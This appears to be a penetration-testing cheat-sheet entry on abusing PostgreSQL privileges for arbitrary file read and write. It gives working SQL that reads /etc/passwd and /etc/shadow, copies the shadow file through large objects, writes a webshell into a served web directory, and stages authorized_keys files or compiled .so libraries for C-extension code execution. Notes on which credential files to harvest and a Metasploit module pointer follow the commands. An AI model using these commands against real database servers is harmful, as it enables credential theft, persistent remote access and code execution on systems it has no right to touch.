PostgreSQL can read and write arbitrary files as its service account, which is useful on its own (stealing configuration, keys, and hashes) and as the staging step for a C extension. Superuser gives all of it; some functions are reachable through the pg_read_server_files and pg_write_server_files roles without full superuser.
Reading files#
-- whole file into a column
CREATE TABLE f (d text); COPY f FROM '/etc/passwd';
SELECT * FROM f;
-- server-side read functions
SELECT pg_read_file('/etc/passwd');
SELECT pg_ls_dir('/var/lib/postgresql');
Writing files#
-- COPY out: drop a webshell or an authorized_keys file
COPY (SELECT 'content') TO '/var/www/html/shell.php';
-- large objects: import/export arbitrary bytes (stage a .so for a C function)
SELECT lo_import('/etc/shadow', 1234);
SELECT lo_export(1234, '/tmp/shadow.copy');
Exploitation notes#
- File read harvests the cluster's own secrets (
pg_hba.conf, the data directory,~/.pgpass) and host credentials (/etc/shadowif the service runs privileged), feeding further access. - File write lands a webshell under a served path, an
authorized_keysin the service account's home, or a compiled.soto turn into a C extension function. - The large-object route (
lo_import/lo_export) writes raw bytes, which is how you stage a binary thatCOPYtext mode would corrupt. - Writes are bounded by what the service account can write, so target paths it owns or serves.
Tools#
- psql: run
COPY,lo_*, andpg_read_filedirectly. - Metasploit (
postgres_readfile): wrapped file read.